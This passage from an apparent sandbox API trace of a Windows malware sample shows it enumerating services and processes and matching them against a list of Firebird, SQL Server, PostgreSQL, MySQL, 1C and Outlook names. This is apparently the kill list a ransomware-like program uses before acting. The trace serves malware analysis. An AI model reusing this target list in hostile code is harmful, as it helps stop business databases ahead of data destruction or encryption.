lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0192.261] GetLastError () returned 0xea [0192.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x55e600 [0192.261] EnumServicesStatusExW (in: hSCManager=0x525c50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e600, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e600, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0192.262] CloseServiceHandle (hSCObject=0x525c50) returned 1 [0192.262] lstrlenW (lpString="Appinfo") returned 7 [0192.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0192.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0192.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0192.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0192.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0192.262] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0192.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.263] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0192.263] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0192.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0192.263] lstrlenW (lpString="AudioSrv") returned 8 [0192.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0192.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0192.263] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0192.263] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0192.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0192.263] lstrlenW (lpString="BFE") returned 3 [0192.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0192.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0192.263] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0192.263] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0192.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0192.263] lstrlenW (lpString="CryptSvc") returned 8 [0192.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0192.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0192.263] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0192.263] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0192.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0192.263] lstrlenW (lpString="CscService") returned 10 [0192.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0192.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0192.263] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0192.263] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0192.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0192.263] lstrlenW (lpString="DcomLaunch") returned 10 [0192.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0192.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0192.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0192.264] lstrlenW (lpString="Dhcp") returned 4 [0192.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0192.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0192.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0192.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0192.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0192.264] lstrlenW (lpString="Dnscache") returned 8 [0192.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0192.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0192.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0192.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0192.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0192.264] lstrlenW (lpString="DPS") returned 3 [0192.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0192.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0192.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0192.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0192.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0192.264] lstrlenW (lpString="eventlog") returned 8 [0192.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0192.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0192.264] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0192.264] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0192.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0192.265] lstrlenW (lpString="EventSystem") returned 11 [0192.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0192.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0192.265] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0192.265] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0192.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0192.265] lstrlenW (lpString="FontCache") returned 9 [0192.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0192.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0192.265] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0192.265] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0192.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0192.265] lstrlenW (lpString="gpsvc") returned 5 [0192.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0192.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0192.265] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0192.265] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0192.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0192.265] lstrlenW (lpString="iphlpsvc") returned 8 [0192.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.265] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0192.265] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0192.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0192.265] lstrlenW (lpString="LanmanServer") returned 12 [0192.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0192.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0192.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0192.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0192.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0192.266] lstrlenW (lpString="LanmanWorkstation") returned 17 [0192.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0192.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0192.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0192.266] lstrlenW (lpString="lmhosts") returned 7 [0192.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0192.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0192.266] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0192.266] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0192.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0192.266] lstrlenW (lpString="MMCSS") returned 5 [0192.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0192.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0192.266] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0192.266] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0192.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0192.266] lstrlenW (lpString="MpsSvc") returned 6 [0192.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0192.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0192.266] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0192.266] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0192.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0192.266] lstrlenW (lpString="Netman") returned 6 [0192.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0192.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0192.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0192.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0192.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0192.267] lstrlenW (lpString="netprofm") returned 8 [0192.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0192.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0192.267] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0192.267] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0192.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0192.267] lstrlenW (lpString="NlaSvc") returned 6 [0192.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0192.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0192.267] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0192.267] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0192.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0192.267] lstrlenW (lpString="nsi") returned 3 [0192.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0192.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0192.267] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0192.267] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0192.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0192.267] lstrlenW (lpString="PcaSvc") returned 6 [0192.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0192.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0192.267] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0192.267] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0192.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0192.268] lstrlenW (lpString="PlugPlay") returned 8 [0192.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0192.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0192.268] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0192.268] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0192.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0192.268] lstrlenW (lpString="Power") returned 5 [0192.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0192.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0192.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0192.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0192.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0192.268] lstrlenW (lpString="ProfSvc") returned 7 [0192.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0192.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0192.268] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0192.268] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0192.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0192.268] lstrlenW (lpString="RpcEptMapper") returned 12 [0192.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.268] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0192.268] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0192.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0192.268] lstrlenW (lpString="RpcSs") returned 5 [0192.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0192.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0192.269] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0192.269] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0192.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0192.269] lstrlenW (lpString="SamSs") returned 5 [0192.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0192.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0192.269] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0192.269] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0192.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0192.269] lstrlenW (lpString="Schedule") returned 8 [0192.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0192.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0192.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0192.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0192.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0192.269] lstrlenW (lpString="SENS") returned 4 [0192.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0192.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0192.269] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0192.269] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0192.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0192.269] lstrlenW (lpString="ShellHWDetection") returned 16 [0192.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0192.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0192.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0192.269] lstrlenW (lpString="Spooler") returned 7 [0192.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0192.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0192.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0192.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0192.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0192.270] lstrlenW (lpString="sppsvc") returned 6 [0192.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0192.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0192.270] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0192.270] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0192.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0192.270] lstrlenW (lpString="SysMain") returned 7 [0192.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0192.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0192.270] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0192.270] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0192.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0192.270] lstrlenW (lpString="Themes") returned 6 [0192.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0192.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0192.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0192.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0192.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0192.270] lstrlenW (lpString="TrkWks") returned 6 [0192.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0192.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0192.270] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0192.270] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0192.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0192.271] lstrlenW (lpString="UxSms") returned 5 [0192.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0192.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0192.271] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0192.271] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0192.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0192.271] lstrlenW (lpString="WdiServiceHost") returned 14 [0192.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0192.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0192.271] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0192.271] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0192.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0192.271] lstrlenW (lpString="WdiSystemHost") returned 13 [0192.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0192.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0192.271] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0192.271] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0192.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0192.271] lstrlenW (lpString="WinDefend") returned 9 [0192.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0192.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0192.271] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0192.271] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0192.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0192.271] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0192.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0192.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0192.271] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0192.272] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0192.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0192.272] lstrlenW (lpString="Winmgmt") returned 7 [0192.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0192.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0192.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0192.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0192.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0192.272] lstrlenW (lpString="wscsvc") returned 6 [0192.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0192.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0192.272] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0192.272] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0192.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0192.272] lstrlenW (lpString="wuauserv") returned 8 [0192.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0192.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0192.272] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0192.272] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0192.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0192.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e600 | out: hHeap=0x4f0000) returned 1 [0192.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0192.274] Process32FirstW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.275] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.276] lstrlenW (lpString="System") returned 6 [0192.276] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0192.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0192.276] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0192.276] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0192.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0192.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0192.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0192.276] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.277] lstrlenW (lpString="smss.exe") returned 8 [0192.277] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0192.277] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0192.277] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0192.277] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0192.277] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0192.277] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0192.277] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0192.277] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.278] lstrlenW (lpString="csrss.exe") returned 9 [0192.278] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.279] lstrlenW (lpString="wininit.exe") returned 11 [0192.279] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.279] lstrlenW (lpString="csrss.exe") returned 9 [0192.280] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 